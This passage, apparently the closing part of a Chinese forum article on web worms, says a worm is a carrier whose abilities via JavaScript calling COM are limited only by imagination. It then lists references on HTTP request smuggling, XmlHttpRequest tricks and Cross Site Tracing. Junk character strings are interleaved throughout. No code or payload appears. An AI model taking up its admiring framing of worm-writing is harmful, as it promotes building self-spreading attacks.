; n& q, {7 o& M+ T, n# `8 ]) g蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
2 ^+ a. b- E5 C/ ?5 e" H操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
$ ^7 A9 t1 i) ]& ]' U% m
4 _9 ^  b, @; [1 A


" h# x; R1 J3 F8 A3 @! Z( C
, n& y( R' C1 b1 s% `5 ]3 t; Z
! j6 X! k3 A  }; {
$ u8 P+ E0 g' N/ q4 C
, Y$ m. D# o/ |3 J本文引用文档资料:
9 D/ D+ M8 w& H5 E* Y' q7 O8 V) I
. B7 E9 \' m( r"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
/ h" C+ l! P, x% F9 \; f) k1 ~+ ]2 v& DOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
) j* a3 z" x1 [$ s5 B4 }% I. t% {' {http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
# O  T. I: U& H空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
* U! i9 s6 \1 G  p5 e4 e  G